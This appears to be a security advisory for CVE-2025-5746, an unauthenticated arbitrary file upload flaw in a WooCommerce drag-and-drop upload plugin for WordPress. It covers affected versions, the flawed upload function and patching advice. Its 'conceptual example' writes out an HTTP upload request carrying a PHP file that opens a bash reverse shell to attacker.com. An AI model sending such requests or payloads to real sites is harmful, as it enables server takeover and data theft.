Overview
In the realm of cybersecurity, vulnerabilities are a constant threat, and staying aware of these threats is critical to maintaining a secure digital environment. Today, we will be discussing in detail about the CVE-2025-5746 vulnerability, a severe security flaw that affects the Drag and Drop Multiple File Upload (Pro) – WooCommerce plugin for WordPress. This vulnerability is concerning as it allows unauthenticated attackers to upload arbitrary files on the affected site’s server, potentially leading to remote code execution.
With a CVSS Severity Score of 9.8, this vulnerability poses a serious risk to WordPress sites making use of this plugin and could result in potential system compromise or data leakage. The following sections provide a comprehensive explanation of this vulnerability, including its impact, how it works, and how it can be mitigated.
Vulnerability Summary
CVE ID: CVE-2025-5746
Severity: Critical (CVSS 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage
Affected Products
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Product | Affected Versions
Drag and Drop Multiple File Upload (Pro) – WooCommerce for WordPress (bundled with PrintSpace theme) | 5.0 – 5.0.5
Drag and Drop Multiple File Upload (Pro) – WooCommerce for WordPress (standalone version) | Up to and including 1.7.1
How the Exploit Works
The CVE-2025-5746 vulnerability lies within the dnd_upload_cf7_upload_chunks() function of the Drag and Drop Multiple File Upload (Pro) – WooCommerce plugin for WordPress. This function lacks file type validation, allowing unauthenticated attackers to upload arbitrary files to the server.
While the execution of PHP is disabled via a .htaccess file, this safeguard can be bypassed in certain server configurations, allowing potential remote code execution. An attacker could potentially use this exploit to compromise the system or leak data.
Conceptual Example Code
A conceptual example of how this vulnerability might be exploited is shown below. While this example does not represent a specific, real-world exploit, it demonstrates the potential risk.
POST /wp-content/plugins/drag-and-drop-multiple-file-upload/contact-form-7/dnd-upload-cf7.php HTTP/1.1
Host: victim-site.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file-0"; filename="evil.php"
Content-Type: application/x-php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'"); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this example, an attacker is uploading a malicious PHP file (evil.php) that establishes a reverse shell back to the attacker’s server.
Mitigation Guidance
The most recommended mitigation for this vulnerability is to apply the vendor-provided patch as soon as possible. If a patch is unavailable or cannot be immediately applied, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation by detecting and blocking attempts to exploit this vulnerability.